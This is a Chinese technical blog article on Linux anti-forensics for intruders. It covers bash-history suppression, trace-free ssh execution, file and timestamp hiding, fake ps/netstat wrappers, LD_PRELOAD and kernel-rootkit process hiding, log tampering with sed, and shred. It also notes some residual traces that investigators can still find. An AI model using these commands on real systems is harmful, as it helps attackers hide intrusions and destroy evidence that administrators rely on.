Linux 隐匿技术
iker 发表于 北京 技术文章 2767浏览 · 2024-09-09 08:52

Linux 隐匿技术

前置知识

知识点

CentOS 和 Ubuntu 对历史命令 history 的处理逻辑有所不同,对于历史命令的隐匿操作并不通用。由 Linux 历史命令隐匿展开,整理了一些其他的 Linux 隐匿知识点,适用于初始入侵或横向移动阶段。

本文目标:

  • 如何在 ssh 访问远程主机时不留下任何痕迹?
  • 如何才能实现当前 shell 上执行的所有历史命令都不被记录?
  • 如何隐藏目录/文件/进程,规避检测或减慢排查速度?
  • 如果不小心留下了痕迹,如何进行快速清理并增加文件恢复难度?

目录如下:

  • Linux 历史命令隐藏
    • 不记录历史命令
    • 清除历史命令
  • Linux SSH 隐藏
    • 在不登陆的前提下执行命令
    • 禁用伪终端分配
  • Linux 进程隐匿
    • 伪造 ps/netstat
    • LD_PRELOAD
    • Rootkit 进程隐藏
  • Linux 文件隐匿
    • 隐藏文件和目录
    • Rootkit 文件隐藏
    • 修改文件权限
    • 隐藏时间戳
  • Linux 痕迹清理
    • 日志清理
    • 文件清理

实验环境

Ubuntu 18.04
CentOS 7

工具

Linux 历史命令隐匿

首先,我们提出一些问题:

  1. 当我们获取一个 bash shell 时,为什么在 .bash_history 文件上无法找到当前执行的任何命令,但是可以在 history 命令的执行结果中看到?
  2. 当我们对比 .bash_history 文件和 history 执行结果中的历史命令时,为什么通常 history 命令的执行结果中包含更多的记录?
  3. 当我们打开/关闭了一个 bash shell 的时候,将发生什么?

.bash_history 与环境变量

然后,我们尝试解答提出的问题:

  1. 当我们打开一个 bash shell 时,它将读取 .bash_history 文件的内容,并将其加载到 history 的记录列表中。
  2. 当我们在一个 bash shell 中执行命令时,这些命令将被追加到 history 的记录列表,暂存在内存中。
  3. 当我们关闭当前 bash shell 时,追加到 history 记录列表中的命令将被写入到 .bash_history 文件中持久化保存。

在 Linux 中,有以下几个环境变量与 .bash_history 密切相关:

HISTFILE            # 设置历史命令记录文件的位置
HISTFILESIZE        # 设置历史记录文件中的最大行数
HISTSIZE            # 设置每个会话中记录历史命令的最大行数
HISTIGNORE          # 设置保存历史记录时将忽略的命令
HISTCONTROL         # 设置保存历史记录时的将遵循的策略

其中,环境变量 HISTCONTROL 的选项如下:

ignoredups          # 默认,忽略重复命令
ignorespace         # 忽略所有以空格开头的命令
ignoreboth          # 忽略重复命令和所有以空格开头的命令
erasedups           # 删除历史记录中重复命令,相同的指令仅保留最近的一个

以下是设置这些环境变量的一些示例:

# 历史命令记录文件的位置默认为~/.bash_history,如果不想保存历史文件,可以unset这个环境变量
export HISTFILE=~/.bash_history

# 以~/.bash_history为例,设置了历史记录文件中包含的最大行数为2000
export HISTFILESIZE=2000

# 一个shell会话最多可以保存1000条历史命令
export HISTSIZE=1000

# 保存历史记录时将忽略的命令,以 : 作为分隔符
# &         代表和上一条历史记录相同的记录
# [ ]*      代表以空格开头的历史记录
# exit      忽略exit命令
# history   忽略history命令
export HISTIGNORE="&:[ ]*:exit:history"

注意, export=xxx 仅对当前会话生效,永久生效需要做类似如下配置:

[root@VPS ~]# echo HISTCONTROL=ignorespace >> ~/.bashrc
[root@VPS ~]# source ~/.bashrc

不记录历史命令

临时禁用历史命令记录

# 临时禁用历史命令记录
root@ubuntu:~# set +o history

# 重新开启历史命令记录
root@ubuntu:~# set -o history
Ubuntu 18.04

在 Ubuntu 18.04 中,临时禁用历史命令记录的方式是生效的,并且执行了 set +o history 后,当前会话的所有命令都不会被记录:

# 当前会话的所有命令都不会被记录
root@ubuntu:~# echo 1
root@ubuntu:~# set +o history
root@ubuntu:~# echo 2
root@ubuntu:~# exit

如果执行了 set +o history,则只有 set 区间内的命令不被记录:

root@ubuntu:~# echo 3           # 被记录
root@ubuntu:~# set +o history   # 被记录,因为set +o history执行完后才开始不记录命令
root@ubuntu:~# echo 4           # 不被记录,set区间内执行的命令
root@ubuntu:~# set -o history   # 不被记录,set区间内执行的命令
root@ubuntu:~# exit             # 被记录,因为此时set -o history已经执行完毕,记录重新开始

CentOS 7

但在 CentOS 7 中,临时禁用历史命令记录会留下 set +o history 这条命令:

[root@VPS ~]# set +o history

命令前插入空格 <SPACE>

如果环境变量 HISTCONTROL 配置为 ignorespaceignoreboth,那么在命令中插入空格,当前命令将被忽略,不被记录到历史命令中:

[SPACE]set +o history

注意,不是所有的系统都默认将环境变量 HISTCONTROL 配置为 ignorespaceignoreboth。以 Ubuntu 18.04 和 CentOS 7 系统为例:

[Ubuntu 18.04]
root@ubuntu:~# echo $HISTCONTROL
ignoredups:ignorespace

[CentOS]
[root@CentOS ~]# echo $HISTCONTROL
ignoredups

可以看到,Ubuntu 18.04 系统默认忽略以空格开头的命令和重复命令,CentOS 7 仅忽略重复命令。

Ubuntu 18.04

在 Ubuntu 18.04 执行命令 <SPACE>set +o history 并关闭终端:

root@ubuntu:~#  set +o history

命令不被记录:

CentOS 7

在 CentOS 7 执行命令 <SPACE>set +o history 并关闭终端:

[root@VPS ~]#  set +o history

命令依然被记录:

设置记录历史命令的最大行数 HISTSIZE

在获取 shell 后,首先修改环境变量 HISTSIZE

# 将history可保存的历史命令条数设置为0
export HISTSIZE=0
Ubuntu 18.04

在 Ubuntu 18.04 中,当前 shell 的所有历史命令都将不被记录,不论 export HISTSIZE=0 前是否执行了命令。

CentOS 7

在 CentOS7 中,export HISTSIZE=0 前执行的命令将被记录, export HISTSIZE=0 后执行的命令不被记录。

设置历史命令记录文件的位置 HISTFILE

在获取 shell 后,丢弃当前 shell 的所有历史记录:

export HISTFILE=/dev/null

或者直接 unset 变量:

unset HISTFILE
Ubuntu 18.04

在 Ubuntu 18.04 中,当前 shell 的所有历史命令都将不被记录,不论 export HISTFILE=/dev/null 前是否执行了命令。

CentOS 7

在 CentOS 7 中,export HISTFILE=/dev/null 前执行的命令将被记录, export HISTFILE=/dev/null 后执行的命令不被记录。

清除历史命令

清除当前 shell 全部 history

清除当前 shell 的历史记录,但不影响 HISTFILE

# -c    清空历史列表,但不影响HISTFILE
# -w    将当前历史记录列表附加到HISTFILE
[root@VPS ~]# history -cw

清除当前 shell 指定 history

清除当前 shell 第 3 条命令,但当前命令会被记录:

# -d offset    根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录
[root@VPS ~]# history -d 3

清除当前 shell 第 150 条到文件结尾的所有命令,但当前命令会被记录:

[root@VPS ~]# sed -i '150,$d' ~/.bash_history

小结

结合 Ubuntu 18.04 和 CentOS 7 的执行结果,如果拿到一个 bash shell,首先修改环境变量,将 history 可保存的历史命令条数设置为 0,或丢弃当前 shell 的所有历史记录(无论 Ubuntu 还是 CentOS 均生效):

[root@VPS ~]# export HISTSIZE=0
# or
[root@VPS ~]# export HISTFILE=/dev/null

可以再加两层保险:

[root@VPS ~]# export HISTCONTROL=ignoreboth
[root@VPS ~]# [SPACE]set +o history

# 关闭shell前
[root@VPS ~]# [SPACE]history -cw

注意,以上所有操作仅针对当前 shell 生效。

Linux SSH 隐匿

首先,我们提出一些问题:

  1. 当我们通过 ssh 连接服务器时,服务器为用户分配了什么终端?
  2. 当我们通过 ssh 连接执行命令,退出当前终端后,命令会被持久化到 .bash_history 文件吗?
  3. 当我们想要在远程系统上运行命令或脚本,在不进行 ssh 登陆的条件下,具体应该如何操作?

在不登陆的前提下执行命令

执行单个命令

通过 ssh 在远程系统上执行单个命令:

ssh root@127.0.0.1 uname -a
# or
ssh root@127.0.0.1 "uname -a"

此时未分配交互式 shell,执行的命令不会被持久化到 .bash_history 文件中,也不会被 last 命令捕获。

执行多个命令

通过 ssh 在远程系统上执行多个命令:

ssh root@127.0.0.1 "uname -a && hostname -I"
# or
ssh root@127.0.0.1 "uname -a ; hostname -I"

同样,执行的命令不会被持久化到 .bash_history 文件中,也不会被 last 命令捕获。

执行自定义脚本

本地自定义脚本 info.sh

#!/bin/bash
echo /etc/*_ver* /etc/*-rel*; cat /etc/*_ver* /etc/*-rel*

在远程目标机器上执行本地自定义脚本:

ssh root@127.0.0.1 "bash -s" < info.sh

同样,执行的命令不会被持久化到 .bash_history 文件中,也不会被 last 命令捕获。

禁用伪终端分配

伪终端(pty,pseudo terminal)的应用场景:

  1. 在图形化界面下打开的命令行终端
  2. 基于 ssh 协议或 telnet 协议等远程打开的命令行界面
# -T    禁用伪终端分配,不会被 w、who、last 等命令检测到
[root@VPS ~]# ssh -T root@127.0.0.1 /bin/bash -i

但此时的 ssh 连接依然会被 netstat、ps 等命令检测:

注意,当前会话关闭后,执行的命令会被持久化到 ~/.bash_history 文件中,此外,登录信息能够被 last 命令捕获。

Linux 文件隐匿

隐藏文件和目录

Linux 的 /tmp 目录下通常存在一些隐藏目录,例如 /tmp/.X11-unix,用于存放 Unix-domain Socket。恶意文件也通常存放在这些位置,例如:

.ICE-unix
.X11-unix
.XIM-unix
...

在隐藏目录下创建隐藏文件:

touch /tmp/.X11-unix/.file.php

Rootkit 文件隐藏

项目地址: https://github.com/xcellerator/linux_kernel_hacking

通过 Rootkit 对 .file.php 做文件隐藏:

[root@VPS]# make
[root@VPS]# insmod rootkit.ko # 加载
[root@VPS]# rmmod rootkit # 卸载

可以看到文件 /tmp/.X11-unix/.file.php 已经被隐藏:

但实际上该文件依然存在:

目录隐藏同理,相同方式实现。

修改文件权限

命令 chattr 可以防止 root 和其他用户删除文件,该权限使用命令 ls -al 无法排查:

chattr +i .file.php         # 锁定文件
lsattr  .file.php           # 属性查看
rm -rf .file.php            # 删除文件失败,Operation not permitted
chattr -i .file.php         # 解除锁定
rm -rf .file.php            # 删除文件成功

隐藏时间戳

修改时间戳为指定时间:

# 修改时间戳为2024年09月06日
touch -t 2409061654.30 .file.php

参考其他文件时间戳,赋予相同时间:

# 将.file.php时间戳修改为和index.php一样
touch -r index.php .file.php

但是,隐藏时间戳的方式可以通过 stat 命令进行排查,Change Time 和 Birth Time 依然可以在某种程度上提供恶意文件创建的相关信息:

Linux 进程隐匿

伪造 ps

命令 echo $PATH 显示当前 PATH 环境变量,该变量的值由一系列以冒号分隔的目录名组成。当执行程序时,shell 将自动根据该顺序去搜索程序。

[root@VPS ~]# echo $PATH
-----
# [Ubuntu]
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

# [CentOS]
/root/.local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin

查看 ps 路径:

(base) ➜  ~ whereis ps      
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz
(base) ➜  ~ which ps     
/usr/bin/ps

以 frp server 为例,通过 ps 查看进程:

创建一个伪造的 ps,路径为 /usr/local/bin/ps

# !/bin/bash
/usr/bin/ps $@ | grep -Ev 'frps'

赋予执行权:

chmod +x /usr/local/bin/ps

通过伪造的 ps 查看进程,此时 frps 已经被排除:

需要注意的是,伪造 ps 后,需要重启 shell 才生效。如果有一个远程 shell 一直保持连接,即使此时 /usr/local/bin/ps 已经伪造成功,远程 shell 依旧调用的是 /usr/bin/ps 中的原始 ps

伪造 netstat

查看 netstat 路径:

(base) ➜  ~ whereis netstat
netstat: /usr/bin/netstat /usr/share/man/man8/netstat.8.gz
(base) ➜  ~ which netstat   
/usr/bin/netstat

以 frp server 和 ssh 为例,通过 netstat 查看进程:

创建一个伪造的 netstat,路径为 /usr/local/bin/netstat,可以通过 grep 屏蔽进程名、IP 或端口:

# !/bin/bash
/usr/bin/netstat $@ | grep -Ev 'frps|22'

赋予执行权:

chmod +x /usr/local/bin/netstat

通过伪造的 netstat 查看进程,frpssshd 已经被隐藏。同样,需要重启 shell 才生效:

LD_PRELOAD

LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序的运行时的链接,允许定义在程序运行前优先加载的动态链接库。

项目地址: https://github.com/gianlucaborello/libprocesshider

# 下载
[root@VPS ~]# git clone https://github.com/gianlucaborello/libprocesshider.git

# 编译
[root@VPS ~]# cd libprocesshider && make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

# 移动至/usr/local/lib/并使用全局动态链接器加载
[root@VPS ~]# sudo mv libprocesshider.so /usr/local/lib/
[root@VPS ~]# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

以 frp server 为例,先修改 processhider.c 指定程序名:

编译并上传到目标机器加载:

进程隐藏前执行 ps -aux, 可以看到 frps 进程:

进程隐藏后执行 ps -auxlsof 命令,frps 进程不可见:

但由于是监听类进程,执行 netstart -anlptu 依然可以看到 frps 相关的网络连接,端口存在,但 PID 和进程名被隐藏:

Rootkit 进程隐藏

通过内核 Hook 系统调用主要有两种方式:

  1. 早期的方式中通常直接修改内核内存中的 sys_call_table 结构。
  2. 更加现代的方式是使用 ftrace,适用于 >5.7 的 Linux 版本系统。

项目地址: https://github.com/xcellerator/linux_kernel_hacking

以 frp server 为例,通过 Rootkit 实现对 frps 的进程隐藏:

[root@VPS]# make
[root@VPS]# insmod rootkit.ko # 加载
[root@VPS]# kill -64 128710 # 128710为frps的PID
[root@VPS]# rmmod rootkit # 卸载

可以看到 frps 的 PID 和进程名已经被隐藏,同样,由于是监听类进程,端口连接依然存在:

Linux 痕迹清理

日志清理

从日志中删除或替换指定 IP:

# 删除指定IP
sed  -i '/<YOUR-IP>/'d  /var/log/secure

# 替换指定IP
sed -i 's/<YOUR-IP>/127.0.0.1/g' /var/log/nginx/access.log

清除日志中相关信息,覆盖原日志文件:

# 清除日志中相关信息
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log

# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log

文件清理

使用更安全的方式删除文件:

# shred命令可以重复地覆盖指定的文件,以隐藏或清除其数据内容
# -f, --force           更改权限以允许在必要时进行写入
# -n, --iterations=N    覆盖文件指定的次数(默认3次)
# -u, --remove          覆盖并删除文件
# -v, --verbose         显示处理过程
# -z, --zero            附加一次全零覆盖以隐藏清除的数据

[root@VPS ~]# shred -f -u -z -v -n 5 .file.php

6 条评论
某人
表情
可输入 255